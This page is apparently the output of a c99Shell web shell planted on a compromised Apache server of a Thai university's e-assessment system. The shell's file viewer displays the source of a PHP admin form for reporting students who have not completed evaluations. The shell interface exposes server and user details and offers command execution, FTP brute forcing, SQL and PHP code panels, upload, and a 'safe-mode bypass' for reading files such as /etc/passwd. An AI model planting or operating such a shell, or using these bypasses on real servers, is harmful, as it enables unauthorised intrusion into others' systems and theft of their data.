!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/eassess/admin/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     searchRepCloseDate.php (7.4 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "template.php";
showHeader();
include_once 
"../class/clsReg_AcadYearConfig.php";
include_once 
"../class/clsReg_SysSemesterDes.php";
include_once 
"../class/clsAssessForm.php";

$oCR = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_REG'], $GLOBALS['USER_REG'], $GLOBALS['PASSWORD_REG']);
$oCA = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_EASS'], $GLOBALS['USER_EASS'], $GLOBALS['PASSWORD_EASS']);

$oAy = new AcadYearConfig($oCR);
$oSse = new SysSemesterDes($oCR);
$oAF = new AssessForm($oCA);
?>
<script>
function checkRepType() {
    var f = document.pc;
    var show1 = document.getElementById("show1").style;
    var show2 = document.getElementById("show2").style;
    var show3 = document.getElementById("show3").style;
    var show4 = document.getElementById("show4").style;
    
    if(f.repType[0].checked == true){
        show1.display = '';
        //show1.setAttribute('style',"display :''");
    }else {
        show1.display = "none";
        //show1.setAttribute('style',"display :'none'");
//        f.officerCode.value = "";
//        f.officerName.value = "";
//        f.officerSurname.value = "";
        f.officerCode.setAttribute("value","");
        f.officerName.setAttribute("value","");
        f.officerSurname.setAttribute("value","");
    }
    
    if(f.repType[1].checked == true)
        show2.display = "";
    else {
        show2.display = "none";
        f.courseCode.value = "";
        f.courseName.value = "";
    }
    
    if(f.repType[2].checked == true)
        show3.display = "";
    else {
        show3.display = "none";
        f.assid.value = "";
    }
    
    if(f.repType[3].checked == true)
        show4.display = "";
    else {
        show4.display = "none";
        f.studentCode.value = "";
        f.studentName.value = "";
        f.studentSurname.value = "";
    }
}
</script>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
<table width="740" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td><br><fieldset>
        <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="index.php?mm=1">ผลการประเมิน</a> <img src="../picture/ico3.gif" align="absmiddle" border="0"> รายงานรายชื่อนักศึกษาที่ยังไม่ได้ทำการประเมิน</font></legend>
        <div align="center"><br><form name="pc" method="post" action="showRepCloseDate.php">
        <table width="650" align="center" border="0" cellpadding="0" cellspacing="1">
            <tr> 
                <td colspan="3" align="right"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>ปีการศึกษา</b>
                <select name="acadYear">
<!--                     <option value="<?php echo $GLOBALS["ACADYEAR"];?>"><?php echo $GLOBALS["ACADYEAR"];?></option> -->
<?php
                    $oAy
->RSAcadYearConfigGroupAcY();
                    while(
$oAy->GetRecord()) {
?>
                    <option value="<?php echo $oAy->acadYear;?><?php echo ($oAy->acadYear==$GLOBALS["ACADYEAR"])?'selected':''?> ><?php echo $oAy->acadYear;?></option>
<?php
                    
}
?>
                </select>
                <b>ภาคการศึกษา</b></font>
                <select name="semester">
<?php
                    $oSse
->SearchByKey($GLOBALS["SEMESTER"]);
                    
$oSse->GetRecord();
?>
                    <option value="<?php echo $GLOBALS["SEMESTER"];?>"><?php echo $oSse->semesterName;?></option>
<?php
                    $oSse
->RSSysSemesterDes();
                    while(
$oSse->GetRecord()) {
?>
                    <option value="<?php echo $oSse->semester;?>"><?php echo $oSse->semesterName;?></option>
<?php
                    
}
?>
                </select></td>
            </tr>
            <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_6'];?>">
                <td colspan="3" height="22"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>ประเภทรายงาน</b></font></td>
            </tr>
            <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>">
                <td width="2%" height="22"></td>
                <td width="2%"><input type="radio" name="repType" id="rad1" value="1" checked onClick="checkRepType()"></td>
                <td><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b><label for="rad1">รายชื่อนักศึกษาที่ยังไม่ได้ทำการประเมินจำแนกตามอาจารย์ผู้สอน</label></b></font></td>
            </tr>
            <tr id="show1" style="display:'';">
                <td colspan="2" height="22"></td>
                <td ><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>รหัสอาจารย์</b>
                <input type="text" name="officerCode" size="10">
                <b>ชื่อ</b>
                <input type="text" name="officerName" size="15">
                <b>นามสกุล</b></font>
                <input type="text" name="officerSurname" size="15"></td>
            </tr>
            <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>">
                <td height="22"></td>
                <td><input type="radio" name="repType" id="rad2" value="2" onClick="checkRepType()"></td>
                <td><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b><label for="rad2">รายชื่อนักศึกษาที่ยังไม่ได้ทำการประเมินจำแนกตามรายวิชา</label></b></font></td>
            </tr>
            <tr id="show2" style="display:none;">
                <td colspan="2" height="22"></td>
                <td><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>รหัสรายวิชา</b>
                <input type="text" name="courseCode" size="10">
                <b>ชื่อรายวิชา</b></font>
                <input type="text" name="courseName" size="30"></td>
            </tr>
            <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>">
                <td height="22"></td>
                <td><input type="radio" name="repType" id="rad3" value="3" onClick="checkRepType()"></td>
                <td><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b><label for="rad3">รายชื่อนักศึกษาที่ยังไม่ได้ทำการประเมินจำแนกตามแบบประเมิน</label></b></font></td>
            </tr>
            <tr id="show3" style="display:none;">
                <td colspan="2" height="22"></td>
                <td><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>แบบประเมิน</b></font>
                <select name="assid" >
                    <option value="">---เลือกแบบประเมิน---</option>
<?php
                    $oAF
->SearchByConfirmUse('1');
                    while(
$oAF->GetRecord()) {
                        
//if($oAF->maintopic == "") {
                        //    $strNameAss = strlen($oAF->nameAss);
?>
<!--                     <option value="<?php echo $oAF->assid;?>" title="<?php echo $oAF->nameAss?>"><?php echo "** ".substr($oAF->nameAss,0,100); if($strNameAss >= 100) echo "...";?></option> -->
<?php
                        
//}
                        //else {
                            
$strNameAss strlen($oAF->maintopic);
?>
                    <option value="<?php echo $oAF->assid;?>" title="<?php echo $oAF->maintopic?>"><?php echo substr($oAF->maintopic,0,90); if($strNameAss >= 90) echo "...";?></option>
<?php
                        
//}
                    
}
?>
                </select></td>
            </tr>
            <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>">
                <td height="22"></td>
                <td><input type="radio" name="repType" id="rad4" value="4" onClick="checkRepType()"></td>
                <td><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b><label for="rad4">สถานะการประเมินของนักศึกษารายบุคคล</label></b></font></td>
            </tr>
            <tr id="show4" style="display:none;">
                <td colspan="2" height="22"></td>
                <td><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>รหัสนักศึกษา</b>
                <input type="text" name="studentCode" size="10">
                <b>ชื่อ</b>
                <input type="text" name="studentName" size="15">
                <b>นามสกุล</b></font>
                <input type="text" name="studentSurname" size="15"></td>
            </tr>
            <tr> 
                <td colspan="3" align="center"><br><input type="submit" name="submit" value="ตกลง">
                <input type="reset" name="clear" value="เคลียร์ข้อมูล">
                <input type="button" name="back" value="กลับสู่หน้าหลัก" onClick="location.href = 'index.php?mm=1'"></td>
            </tr>
        </table></form></div>
        </fieldset></td>
    </tr>
</table>
<form name="silent" id="silent" style="margin:0px; padding: 0px;" method="post"></form>
<?php
showFooter
();
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0141 ]--